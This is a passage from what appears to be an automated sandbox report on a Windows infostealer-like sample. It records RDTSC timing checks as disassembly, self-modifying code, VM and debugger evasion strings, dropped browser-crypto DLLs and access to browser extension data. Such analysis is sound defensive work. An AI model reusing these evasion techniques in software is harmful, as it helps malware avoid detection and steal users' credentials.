Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B07B04 second address: B07B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4C063 second address: B4C06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4C06C second address: B4C075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4C075 second address: B4C07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4C07B second address: B4C081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B05F91 second address: B05F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4BC34 second address: B4BC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4FD51 second address: B4FD55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4FD55 second address: B4FD6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jmp 00007F1458521ABAh 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B50569 second address: B5058C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F145915A7C6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5081D second address: B50823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B509C4 second address: B509CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B50BAB second address: B50BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B52B1B second address: B52B24 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B04514 second address: B04546 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1458521ABDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1458521AC7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F1458521AB6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B04546 second address: B04550 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B04550 second address: B04554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B04554 second address: B0455A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B56736 second address: B5673C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B57335 second address: B57339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B57339 second address: B5733F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5733F second address: B57355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F145915A7D2h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B59D6C second address: B59D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B0C9FF second address: B0CA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B0CA07 second address: B0CA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1458521AB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1458521AC5h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B11AC9 second address: B11AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F145915A7C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5CF16 second address: B5CFA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F1458521AB8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 cld 0x00000025 push 00000000h 0x00000027 mov edi, esi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F1458521AB8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 xchg eax, esi 0x00000046 jns 00007F1458521AC7h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F1458521AC2h 0x00000056 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5CFA1 second address: B5CFA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5CFA5 second address: B5CFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5CFAB second address: B5CFB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5DF96 second address: B5DF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5DF9A second address: B5DF9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5E047 second address: B5E051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1458521AB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B52231 second address: B52237 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5EEC7 second address: B5EED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1458521ABDh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B5EED8 second address: B5EEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B61F43 second address: B61FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F1458521AB8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+12457C74h] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F1458521AB8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 mov edi, dword ptr [ebp+122D37D2h] 0x0000004a push edx 0x0000004b mov dword ptr [ebp+122D2F1Ah], esi 0x00000051 pop edi 0x00000052 push 00000000h 0x00000054 sub dword ptr [ebp+122D19F8h], esi 0x0000005a xchg eax, esi 0x0000005b jmp 00007F1458521ABEh 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F1458521AC6h 0x00000068 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B62F40 second address: B62F46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B62F46 second address: B62F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B62F4C second address: B62F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B62F50 second address: B62FA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+12469E67h], edi 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+1244790Ah] 0x00000017 jg 00007F1458521AC6h 0x0000001d push 00000000h 0x0000001f sbb bx, 228Ah 0x00000024 xchg eax, esi 0x00000025 jp 00007F1458521ABEh 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 jne 00007F1458521AB6h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B62FA0 second address: B62FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B62FA6 second address: B62FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B6600F second address: B66015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B66015 second address: B66019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B665C6 second address: B66642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 mov bx, ax 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F145915A7C8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 call 00007F145915A7CEh 0x00000029 mov dword ptr [ebp+122DB890h], esi 0x0000002f pop ebx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F145915A7C8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov di, bx 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F145915A7D1h 0x00000057 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B69706 second address: B69710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1458521AB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B69710 second address: B69786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sbb bh, FFFFFFFBh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F145915A7C8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b jns 00007F145915A7CCh 0x00000031 cld 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F145915A7C8h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e xor dword ptr [ebp+122D17CDh], esi 0x00000054 xor edi, dword ptr [ebp+122D3B16h] 0x0000005a push eax 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 703F2A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 72C801 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 70C65B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Special instruction interceptor: First address: 9AEB87 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Special instruction interceptor: First address: 9AEC62 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Special instruction interceptor: First address: B42D37 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Special instruction interceptor: First address: BCEB53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ABEB87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ABEC62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C52D37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CDEB53 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDBGIJEHIID.exe

Code function: 21_2_05300C9B rdtsc

21_2_05300C9B

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6352	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1200	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7160	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6564	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6128	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1472	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1472	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5044	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5044	Thread sleep time: -1230000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5044	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsDBGIJEHIID.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C51C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C51C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.3310392737.0000000000C39000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: skotes.exe, 00000019.00000002.3313577372.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@d`
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2593928893.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3313577372.000000000160A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DocumentsDBGIJEHIID.exe, 00000015.00000002.2676780138.0000000008CC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2593928893.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2592461143.00000000006E3000.00000040.00000001.01000000.00000003.sdmp, DocumentsDBGIJEHIID.exe, 00000015.00000002.2669740122.0000000000B29000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2680364377.0000000000C39000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2688308483.0000000000C39000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3310392737.0000000000C39000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

